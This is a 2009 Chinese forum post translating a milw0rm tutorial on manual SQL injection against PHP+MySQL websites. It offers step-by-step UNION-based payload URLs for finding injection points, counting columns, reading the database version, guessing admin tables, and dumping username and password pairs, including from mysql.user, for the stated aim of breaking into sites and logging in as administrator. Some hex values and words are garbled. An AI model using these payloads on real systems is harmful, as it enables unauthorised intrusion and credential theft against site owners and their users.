fuchou-angle 发表于 2009-9-6 09:49:47

PHP+MySQL环境下的SQL手工注入教程—CCOz首译

西来让我们发技术文章,这篇文章不是原创但是是首译,发到这里不为过吧。(译注:原文选自milw0rm.com,作者系国外著名黑客Marezzi)
本文国内由CCOz首译,请大家转载时勿剥夺版权,勿据为己有,有好文章大家共分享。
http://www.pengoz.cn首发
正文:
在本教程中我将阐述SQL注入(亦称注射—CCOz注)是如何运作的以及如何利用它入侵网站,获取有用信息。
首先,什么是SQL注射?
SQL注射是当今网络应用方面最为普遍的工具方式,它允许攻击者在URL中执行数据库查询命令并获取某些机密数据,等等……(疑为作者个人总结—CCOz注)
让我们开始行动吧!
1)检测是否存在注入点
假设我们现在有形如http://www.pengoz.cn/news.php?id=5的URL,现在我们在URL后面添加单引号“ ‘ ”(英文输入法的单引号—CCOz注),则URL变成了http://www.pengoz.cn/news.php?id=5′
如果得到了一些错误信息形如“error in sql syntax,check the manual … ”等等,那就意味着你找到注入点了!:D(在中国,可能不显错,只是页面产生变化,结论同—CCOz注)
2)如何确定数据库字段数
我们用order by 确定字段数。
那么,如何使用这个order by?我们只要增加后面的数字直至数据库报错为止。
构造URL如下:
http://www.pengoz.cn/news.php?id=5 order by 1/* ←无错,返回正常
http://www.pengoz.cn/news.php?id=5 order by 2/* ←无错,返回正常
http://www.pengoz.cn/news.php?id=5 order by 3/* ←无错,返回正常
http://www.pengoz.cn/news.php?id=5 order by 4/* ←网站报错,形如“this unknown column ’4‘ in ‘order clause’”或类似情况。
这意味着网站的字段数是3,因为我们试到4的时候报错了。
注意:URL后面一定要有注释符,这对我们的查询能顺利进行很重要,当使用“/*”报错时可以试试“–”两者作用相同。
3)检验union select
使用union select 我们可以获取到更多有用信息。URL形如:
http://www.pengoz.cn/news.php?id=5 union all select 1,2,3/*(我们在第二步中已经确定字段数为3)
如果我们在屏幕上看到一些数字如1或2或3(0除外—CCOz注)则union select可用.:D
4)检验SQL版本
假设数字2出现在屏幕上,现在我们把2替换成查询数据库版本的语句@@version或version(),屏幕上原来是2的位置就会变成形如“5.0.13-shandard”或“4.1.33-log”的版本号。此时URL构造如下:
http://www.pengoz.cn/news.php?id=5 union all select 1,@@version,3/*
如果你未得到版本号,二是得到形如“union +illegal mix of collations (TMPLICIT+COVERCIBLE)….”的错误–我并未见到其他教程中提及此问题过,所以在这里我必须写出来引以为戒:D–我们此时需要的是convert()函数,构造URL如下:
http://www.pengoz.cn/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
或者使用hex()和unhex()函数,构造URL如下:
http://www.pengoz.cn/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*然后你就会得到MySQL版本了:D
5)获取表名和和列名
当MySQL版本小于5时(如4.1.33,4.1.12…)–后面我将阐述版本号大于5时的情况–我们必须猜解表名与列名
常用的表名有:
user/s,admin/s,member/s…
常用的列明有:
username,user,usr,user_name,password,pass,passwrd,passwd,pwd…
猜解表名时URL构造如下:
http://www.pengoz.cn/news.php?id=5 union all select 1,2,3 from admin/*
如果我们看到屏幕和显示使用使用union all select 时一样的话(本例中屏幕显示2)时,则存在admin表,这很不错:D
现在我们猜解admin表中的列名。
构造URL如下:
http://www.pengoz.cn/news.php?id=5 union all select 1,username,3from admin/*(如果报错了,就换个列名继续猜解).我们会看到屏幕上出现用户名,形如admin ,superadmin,等等…
现在,我们来检验是否存在password列,URL构造如下:
http://www.pengoz.cn/news.php?id=5 union all select 1,password,3 from admin/*(如果报错而不显示密码,则换个列名猜解)
我们会在屏幕上看到明文密码或密码的hash值,这取决于数据库的设置。
加密方式如:md5 hash , MySQL hash ,sha1…
现在我们要补充完整查询语句以便看起来美观……
URL:http://www.pengoz.cn/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin/*
注意我放在里面的0×3a,那是冒号的16进制值。
还有另一种方法,使用char(58)代替0×8a–毛好的ASCII码。
此时URL成为http://www.pengoz.cn/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
现在我们可以看到屏幕上出现形如admin:password或admin:12345abcde的账号密码值。
当你得到这些后,你可以以管理员或者超级管理员的身份登陆后台:D
如果你实在猜解不出表名和列名,你可以试试mysql.user(默认值),默认存在user和password列。
URL:http://www.pengoz.cn/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.user/*

页: [1]
查看完整版本: PHP+MySQL环境下的SQL手工注入教程—CCOz首译